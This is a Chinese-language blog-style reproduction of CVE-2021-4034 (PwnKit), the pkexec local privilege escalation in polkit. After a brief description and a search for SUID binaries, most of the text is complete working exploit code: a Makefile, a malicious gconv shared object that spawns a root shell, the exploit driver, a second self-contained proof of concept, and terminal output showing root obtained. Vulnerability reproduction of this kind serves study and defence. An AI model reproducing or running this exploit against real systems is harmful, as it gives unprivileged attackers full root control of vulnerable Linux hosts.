CVE-2021-4034漏洞复现

参考文章：

https://cloud.tencent.com/developer/article/2625314

https://www.anquanke.com/post/id/267774

漏洞描述

polkit 的 pkexec 程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数，并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点，从而诱导 pkexec 执行任意代码。利用成功后，会导致本地特权升级，非特权用户获得管理员权限

漏洞复现

先查看SUID位文件

find / -perm -u=s -type f 2>/dev/null

/snap/core18/1705/bin/mount
/snap/core18/1705/bin/ping
/snap/core18/1705/bin/su
/snap/core18/1705/bin/umount
/snap/core18/1705/usr/bin/chfn
/snap/core18/1705/usr/bin/chsh
/snap/core18/1705/usr/bin/gpasswd
/snap/core18/1705/usr/bin/newgrp
/snap/core18/1705/usr/bin/passwd
/snap/core18/1705/usr/bin/sudo
/snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1705/usr/lib/openssh/ssh-keysign
/snap/snapd/7264/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount

看到有/usr/bin/pkexec 和 /usr/lib/policykit-1/polkit-agent-helper-1，我们尝试看一下pkexec 版本

pkexec version 0.105

很明显这个版本存在CVE

# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`

##### Makefile #####

all:
        gcc -shared -o evil.so -fPIC evil-so.c
        gcc exploit.c -o exploit

clean:
        rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################

##### evil-so.c #####

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

#################

##### exploit.c #####

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

#################   

然后我们直接提权

ubuntu@ubuntu:~$ gcc -shared -o evil.so -fPIC evil-so.c
ubuntu@ubuntu:~$ gcc exploit.c -o exploit
ubuntu@ubuntu:~$ ./exploit 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

最终POC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
        "#include <stdio.h>\n"
         "#include <stdlib.h>\n"
         "#include <unistd.h>\n\n"
        "void gconv() {}\n"
        "void gconv_init() {\n"
        "       setuid(0); setgid(0);\n"
         "       seteuid(0); setegid(0);\n"
        "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
         "       exit(0);\n"
         "}";
         
 int main(int argc, char *argv[]) {
         FILE *fp;
         system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
         system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
         fp = fopen("pwnkit/pwnkit.c", "w");
         fprintf(fp, "%s", shell);
         fclose(fp); 
         system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
         char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
         execve("/usr/bin/pkexec", (char*[]){NULL}, env);
 }

或者直接

./Pwnkit 'id'